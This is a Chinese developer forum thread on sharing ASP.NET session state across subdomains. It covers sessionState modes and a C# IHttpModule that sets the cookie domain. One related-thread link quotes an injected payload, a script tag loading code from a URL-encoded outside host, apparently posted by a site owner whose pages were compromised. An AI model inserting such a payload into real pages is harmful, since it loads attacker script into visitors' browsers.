我的一个网站下用了泛解析,支持多个子域名,但我看到多个子域名间的session并不通用,在主站登录完后转到子域名session还是旧的,怎么才能通用?二级域名和主域名都是绑的一个网站上的
解决方案 »
- 求一javascript正则或者实现代码
- 被注入了</title>"><script src=http://%61%2E%70%70%6D%6D%6F%6F%2E%63%6E></script><!--
- 求一个分页的SQL语句
- 首页数据用DataList绑定快还是用多个Label进行赋值快?
- 我不知道这里的strConn语句有没有问题,我也不清楚到底怎么写!请那位高手指点指点!只要到conn.Open();就会出现异常,我估计是连接字符
- 一个小问题
- 关于控件编号问题。。
- 使用dotnettextbox编辑器出现的问题
- 验证服务器控件出错
- 一个fckeditor导入word的问题(不是MSword)
- 字符串拆分
- 怎么实现无组件翻页?
<system.web>
<sessionState mode="InProc"
stateConnectionString="tcpip=127.0.0.1:42424"
stateNetworkTimeout="10"
sqlConnectionString="data source=127.0.0.1;Integrated Security=SSPI"
cookieless="false"
timeout="20" />
</system.web>
sessionState 4种模式
InProc 模式兼容以前 ASP 的策略,在 ASP.NET 同一进程空间内实现基于内存的会话状态管理,速度最快但受到与 ASP 相同的限制;
StateServer 模式通过 ASP.NET 独立安装的 ASP.NET State Service 服务(aspnet_state.exe),以 stateConnectionString 指定的IP和端口响应会话状态服务;
SQLServer 模式则通过 sqlConnectionString 指定的 SQL Server 服务器,以内存临时表(以 InstallSqlState.sql建库,使用 tempdb 内存数据库)或独立表(以InstallPersistSqlState.sql 监控,使用独立的 ASPState 库)维护会话状态。
你先把内容看懂, 前提是用Form验证
然后写一个IHttpModule:
public class CookieDomainModule:IHttpModule //继承IHttpModule接口
{
public CookieDomainModule()
{
} #region IHttpModule Member public void Dispose()
{
} public void Init(HttpApplication context)
{
context.EndRequest += new EventHandler(context_EndRequest);
}
void context_EndRequest(object sender, EventArgs e)
{
HttpContext context = ((HttpApplication)sender).Context;
string domain = ".Insus.NET"; //你的二级域名
string cookieName = FormsAuthentication.FormsCookieName;
HttpCookie cookie = context.Response.Cookies[cookieName];
if (cookie != null)
{
cookie.Domain = domain;
}
} #endregion
}
是默认值,你要用StateServer 模式(要开启一个服务) 或 SQLServer 模式
public class CookieDomainModule:IHttpModule 的方法,不过要改一下, 把所有cookie的domain都设成".Insus.NET", 而不是只修改名为FormsAuthentication.FormsCookieName的,因为你没有用验证